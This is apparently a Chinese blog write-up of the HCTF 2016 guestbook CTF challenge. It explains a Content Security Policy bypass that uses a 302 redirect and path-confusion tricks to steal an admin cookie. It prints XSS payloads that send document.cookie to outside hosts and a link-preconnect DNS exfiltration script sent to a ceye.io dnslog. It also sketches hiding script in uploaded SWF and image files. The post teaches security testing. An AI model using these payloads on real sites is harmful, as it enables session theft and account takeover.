• hctf2016_302跳转绕csp---总结


    页面目录如下:

    register.php注册页面。

    user.php可发送消息给其他用户。

    profile.php可配置参数添加用户头像(加载eval js文件)。

    static存在redirect.php重定向页面。

    看下csp规则:

    default-src 'self'; 
    script-src http://www.123.com/hctf2016_secret_area/static/ 'sha256-n+kMAVS5Xj7r/dvV9ZxAbEX6uEmK+uen+HZXbLhVsVA=' 'sha256-2zDCsAh4JN1o1lpARla6ieQ5KBrjrGpn0OAjeJ1V9kg=' 'sha256-SQQX1KpZM+ueZs+PyglurgqnV7jC8sJkUMsG9KkaFwQ=' 'sha256-JXk13NkH4FW9/ArNuoVR9yRcBH7qGllqf1g5RnJKUVg=' 'sha256-NL8WDWAX7GSifPUosXlt/TUI6H8JU0JlK7ACpDzRVUc=' 'sha256-CCZL85Vslsr/bWQYD45FX+dc7bTfBxfNmJtlmZYFxH4=' 'sha256-2Y8kG4IxBmLRnD13Ne2JV/V106nMhUqzbbVcOdxUH8I=' 'sha256-euY7jS9jMj42KXiApLBMYPZwZ6o97F7vcN8HjBFLOTQ=' 'sha256-V6Bq3u346wy1l0rOIp59A6RSX5gmAiSK40bp5JNrbnw='; 
    font-src http://www.123.com/hctf2016_secret_area/static/ fonts.gstatic.com; style-src 'self' 'unsafe-inline';
    img-src 'self'

    1、script没有开启unsafe-inline,也就是说不允许内联脚本(不能直接写js代码注入)
    2、script只允许static目录,但这个目录下内容不可控
    3、style-src开启了unsafe-inline而且是self
    4、default-src为self,也就是站内请求都是被许可的

    假如script开启了unsafe-inline的话,可以通过构造新开页面或者跳转来解决域限制,由于js可以任意构造,所以这里也就通过特别的方式绕过了原本的限制。这个题目就是hctf2016 guestbook的绕过csp思路

    <scrscriptipt>window.open("​http://xxxx:8080/cookie.asp?msg="+document.body​)</scrscriptipt>
    <scrscriptipt>window.locatioonn.href%3d"http%3a//www.example.com/xss/write.php%3fdomain%3d"%2bescape(document.cookie)%3b</sscriptcript>
    <scrscriptipt>var a=document.createElement("a");a.href='http://xss.com/?cookie='+escape(document.cookie);a.click();</sscriptcript>

    攻击目标获:取admin的cookie。

    攻击思路:defalt-src是self,1、表示即使拿到cookie也只能在域内传送,所以只能将cookie传回注册用户afanti.user.php存在常规xss但是unsafe-inline不能写入js代码。要是引入js代码,引入的目录在/hctf2016_secret_area/static/这里不可控没法传入js,/hctf2016_secret_area/upload/这个目录我们可控(通过上传头像写入代码),但是这个目录没有在script-src内,所以通过重定向绕过csp.到我们可控的目录/hctf2016_secret_area/upload/

    2、可以拿到cookie向域外传送:因为/hctf2016_secret_area/upload/可控,在上传头像中写入打开新页面来传递cookie.

    3、<script src="http://www.123.com/hctf2016_secret_area/static/..%2f..%2fupload/76eb335a573b564c6a02d2debda70402"></script>类似rpo绕过csp.

    主要利用浏览器和服务器解析不一致绕过csp,浏览器会加载static下的..%2f..%2fupload/76eb335a573b564c6a02d2debda70402文件,这是没有跨域的。但是服务器会把%2f解析,跳俩个目录返回http://www.123.com/hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402导致绕过csp,/upload我们上传内容可控。

    攻击流程:

    1.注册afanti用户并上传头像,攻击代码会将admin的cookie发送到afanti用户下

    说下把script标签去掉,截图中没去,要不会报错

    2、给admin发送如下消息

    <scscriptript src="http://www.123.com/hctf2016_secret_area/static/redirect.php?u=/hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402"></scriscriptpt>

    3.当admin用户访问时,加载js的时候,会通过redirect.php页面加载 /hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402这个js文件。

    将admin的cookie发送给afanti用户。

    4.afanti用户访问得到admin 的cookie

    4.只是将上传头像内容改一下,把cookie传到外域测试。当管理员打开页面时,会打开新的页面并把cookie带出来。

     

    测试:xhr设置到域外被default-src拦截。

    link的prefetch被chrome的default-src被拦截:

    link的preload也遵循csp规则,当as属性设置为image时,被csp的image-src拦截,假如设置的属性可以传递到外域,eg:img-src:*,就可以传递到外域了:

    link的prerender在chrome通过测试,但是很迷触发方式不太清楚:

    link中的preconnect(dns通道)最好用,可以chrome和firefox都能绕csp:

    dc = document.cookie;
    dcl = dc.split(";"); n0 = document.getElementsByTagName("HEAD")[0]; for (var i=0; i<dcl.length;i++) { console.log(dcl[i]); n0.innerHTML = n0.innerHTML + "<link rel="preconnect" href="//" + escape(dcl[i].replace(///g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".on1sw1.ceye.io">"; console.log(n0.innerHTML); }

    打到如下cookie:

    cookie格式:

    admin=hctf2o16com30nag0gog0; path=/
    PHPSESSID=fu6p3nm7fsdjo31vien84n3pr3; path=/
    
    dnslog上的cookie: _20admin_3dhctf2o16com30nag0gog0.www123com.xxxx.ceye.io phpsessid_3dfu6p3nm7fsdjo31vien84n3pr3.www123com.xxxx.ceye.io _20admin_3dhctf2o16com30nag0gog0.www123com.xxxx.ceye.io phpsessid_3dfu6p3nm7fsdjo31vien84n3pr3.www123com.xxxx.ceye.io
     

    最后,不是所有的页面都能够被预加载,当资源类型如下时:

    URL中包含下载资源
    页面中包含音频、视频
    POST、PUT和DELET操作的ajax请求
    HTTP认证
    HTTPS页面
    含恶意软件的页面
    弹窗页面
    占用资源很多的页面
    打开了chrome developer tools开发工具

    总结:

    通过302跳转绕过js,跳到我们可控的目录来执行js。

    1、有跳转目录(登录界面)

    2、存在xss

    3、可控目录我们可以上传图像等文件

    ---------------------------------------------------------------------------------------

    如果没有unsafe-inline的助攻,而且都是self的话,这样也只能寻求站内的上传点。

    以下不算是绕过csp,属于绕过上传的内容检测

    1、上传的swf内容

    1.CWS
    <script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://xss.xxxxx.cc', true); 
    xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xml.send('cookie='+document.cookie); </script>
    <link rel='import' href='/upload/1.cws'>

    2、上传jpeg带有js的jpg图片。

    https://lorexxar.cn/2016/12/07/polyglot-JPEGs-bypass-csp/

    3、上传gif或者音频文件webp

    https://mp.weixin.qq.com/s/ljBB5jStB7fcJq4cgdWnnw

    其他类型的以后在总结。

    参考文章:

    https://lorexxar.cn/2016/11/30/hctf2016-xss/

    https://lorexxar.cn/2016/10/31/csp-then2/

    http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html

  • 相关阅读:
    Python中文乱码
    Python读写Excel
    Image File Execution Options(2)
    Image File Execution Options(转)
    IndentationError: unexpected indent python
    java中class.forName和classLoader加载类的区分
    vi 新建编辑文件时报错 E212 can’t open file for writing
    JAVA NIO 之ByteBuffer的mark、position、limit、flip、reset,get方法介绍
    从0x00到0xFF的含义以及二进制到10进制的转换(转)
    java匿名内部类之RocketMQ中的应用
  • 原文地址:https://www.cnblogs.com/afanti/p/9245706.html
Copyright © 2020-2023  润新知